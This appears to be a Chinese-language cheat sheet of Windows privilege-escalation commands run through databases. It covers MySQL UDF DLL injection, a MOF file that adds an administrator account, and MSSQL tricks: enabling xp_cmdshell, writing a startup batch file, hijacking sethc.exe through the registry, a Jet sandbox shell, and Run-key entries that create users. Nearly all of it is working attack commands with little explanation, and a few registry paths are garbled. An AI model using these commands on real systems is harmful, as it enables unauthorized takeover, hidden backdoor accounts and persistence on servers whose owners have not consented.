UDF手工提权辅助：
select @@basedir; #查看mysql安装目录
select ‘It is dll’ into dumpfile ‘C:\。。lib::’; #利用NTFS ADS创建lib目录
select ‘It is dll’ into dumpfile ‘C:\。。lib\plugin::’; #利用NTFS ADS创建plugin目录
select 0xUDFcode into dumpfile ‘C:\phpstu\MySQL\lib\plugin\mstlab.dll’; #导出udfcode，注意修改udfcode
create function cmdshell returns string soname ‘mstlab.dll’; #用udf创建cmd函数，shell,sys_exec,sys_eval
select shell(‘cmd’,’net user’); #执行cmd命令
show variables like ‘%plugin%’; #查看plugin路径
小技巧：
1.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MySQL 注册表中ImagePath的值为mysql安装目录
2.my.ini中datadir的值是数据存放目录
3.UPDATE user set File_priv =’Y’; flush privileges; 强制加file权限
UDFcode x86：
MOF手工提权辅助：
#pragma namespace(“\\.\root\subscription”)
instance of __EventFilter as
{
EventNamespace = “Root\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”) WSH.run(\”net.exe user admintony admin /add&&net.exe localgroup administrators admintony /add\”)”;
};
instance of __FilterToConsumerBinding
{
Consumer = ;
Filter = ;
};
保存为 1.mof
然后mysql执行：select load_file(‘D:/wwwroot/1.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
SA提权辅助：
1.判断扩展存储是否存在：
select count(*) from master.dbo.sysobjects where xtype = ‘x’ AND name= ‘xp_cmdshell’
select count(*) from master.dbo.sysobjects where name=’xp_regread’
恢复：
exec sp_dropextendedproc ‘xp_cmdshell’
exec sp_dropextendedproc xp_cmdshell,’xplog70.dll’
EXEC sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;(SQL2005)
2.列目录：
exec master..xp_cmdshell ‘ver’
(or) exec master..xp_dirtree ‘c:\’,1,1
(or) drop table black
create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))–
insert into black exec master..xp_cmdshell ‘dir c:\’
select top 1 mulu from black where id=1
xp_cmdshell被删除时，可以用(4.a)开启沙盒模式，然后(4.b)方法提权
3.备份启动项：
alter database [master] set RECOVERY FULL
create table cmd (a image)
backup log [master] to disk = ‘c:\cmd1’ with init
insert into cmd (a) values (0x(batcode))
backup log [master] to disk = ‘C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat’
drop table cmd
4.映像劫持
xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe’,’debugger’,’reg_sz’,’c:\windows\system32\cmd.exe’
5.沙盒模式提权：
法a：exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet�.0\Engines’,’SandBoxMode’,’REG_DWORD’,0; #关闭沙盒模式
法b：Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;Database=c:\windows\system32\ias\ias.mdb’,’select shell(“net user mstlab mstlab /add”)’); #or c:\windows\system32\ias\dnary.mdb string类型用此。
开启OpenRowSet：exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed Queries’,1;RECONFIGURE;
6.xp_regwrite操作注册表
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversionun’,’black’,’REG_SZ’,’net user test test /add’
开启xp_oacreate:exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ole Automation Procedures’,1;RECONFIGURE;
